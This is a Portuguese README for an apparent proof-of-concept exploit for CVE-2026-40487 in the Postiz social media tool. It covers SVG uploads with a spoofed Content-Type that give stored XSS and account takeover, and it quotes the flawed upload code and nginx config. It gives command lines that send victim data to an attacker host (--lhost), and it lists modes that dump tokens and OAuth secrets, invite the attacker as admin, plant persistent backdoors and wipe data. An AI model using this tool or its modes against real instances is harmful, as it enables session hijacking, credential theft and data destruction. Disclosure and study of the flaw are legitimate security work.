
Prova de conceito de exploit para CVE-2026-40487, demonstrando upload arbitrário de arquivos via falsificação de MIME que leva a XSS armazenado e tomada de conta no Postiz. Inclui múltiplos modos de ataque para exfiltração de dados, escalonamento de privilégios e persistência.
Descoberto e reportado por: Astaruf
Análise completa: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Entrada GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
O Postiz é uma ferramenta open-source de gerenciamento de mídias sociais com mais de 28 integrações de plataformas (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilizada por mais de 600 instâncias expostas na internet.
Um atacante com privilégios baixos pode enviar um arquivo SVG (ou HTML) malicioso com um cabeçalho Content-Type: image/png falsificado. O servidor aceita o arquivo sem inspecionar seu conteúdo real, preserva a extensão original, e o nginx o serve com o Content-Type derivado dessa extensão (image/svg+xml). Quando uma vítima abre a URL, o JavaScript embutido é executado na origem da aplicação, dando ao atacante capacidades completas de sequestro de sessão, equivalentes à assunção de conta.
A cadeia de ataque:
Atacante envia .svg com Content-Type: image/png
-> Servidor valida apenas o cabeçalho Content-Type (CWE-345)
-> Arquivo salvo em disco com a extensão .svg original (CWE-434)
-> nginx o serve como image/svg+xml
-> Navegador executa o JavaScript embutido (CWE-79)
-> Mesma origem: acesso total à sessão da vítima
O payload de XSS é executado na mesma origem da aplicação. Mesmo que o cookie de autenticação seja HttpOnly, o fetch() com credentials: "include" o anexa automaticamente. O atacante pode:
pos_* que nunca expira e sobrevive a alterações de senha)Três componentes falham de forma independente, criando a cadeia de exploração:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype vem do cabeçalho Content-Type na requisição multipart, que o atacante controla. Não há inspeção de magic bytes, nem uso de bibliotecas como file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extrai a extensão do nome de arquivo fornecido pelo cliente. Não há verificação de consistência entre o tipo MIME declarado e a extensão. O servidor também retorna a URL pública completa na resposta, então o atacante obtém o link para enviar à vítima.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
O nginx mapeia .svg para image/svg+xml, .html para text/html. Não há Content-Security-Policy, nem X-Content-Type-Options: nosniff, nem Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Verifique se o alvo é vulnerável
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Exfiltre tudo da vítima
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Crie um backdoor persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Reutilize o token sem credenciais
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Atacante Servidor Postiz Vítima
| | |
|-- 1. Login/Registro -------->| |
|-- 2. Upload SVG malicioso -->| |
|<---- URL do arquivo ---------| |
|-- 3. Envia URL à vítima ---------------------------> |
| |<--- 4. Abre a URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS executa, exfiltra dados ---------|
| Modo | Descrição |
|---|---|
dump-self | Perfil da vítima, informações da org, nível, chave de API |
dump-personal | Nome de exibição, bio, foto de perfil |
dump-integrations | Integrações de mídias sociais conectadas e tokens |
dump-posts | Postagens agendadas e rascunhos (últimos 365 dias) |
dump-team | Membros da equipe, funções e endereços de e-mail |
dump-media | Listagem da biblioteca de mídia |
dump-notifications | Histórico de notificações |
dump-signatures | Assinaturas de postagens |
dump-webhooks | Webhooks configurados e suas URLs |
dump-oauth-app | Credenciais do app OAuth (clientId, secret) |
dump-copilot | Conversas do copiloto de IA |
dump-billing | Informações de cobrança e assinatura |
dump-settings | Configurações de shortlink e notificações |
dump-third-party | Configurações de integrações de terceiros |
dump-autopost | Regras de autopostagem |
dump-sets | Conjuntos de conteúdo |
dump-tags | Tags de postagens |
dump-customers | Lista de clientes |
full-dump | Tudo acima em um único payload |
| Modo | Descrição |
|---|---|
add-admin | Convidar atacante como ADMIN na org da vítima (--attacker-email) |
rotate-key | Rotacionar chave de API da org e exfiltrá-la |
rotate-oauth | Rotacionar secret do app OAuth e exfiltrá-lo |
| Modo | Descrição |
|---|---|
kill-notifications | Desativar todas as notificações por e-mail |
edit-profile | Modificar nome e bio da vítima (--edit-name, --edit-bio) |
wipe-signatures | Excluir todas as assinaturas de postagens |
wipe-webhooks | Excluir todos os webhooks |
wipe-tags | Excluir todas as tags |
wipe-sets | Excluir todos os conjuntos de conteúdo |
wipe-autopost | Excluir todas as regras de autopostagem |
logout-victim | Forçar logout da vítima |
delete-oauth-app | Excluir o aplicativo OAuth da vítima |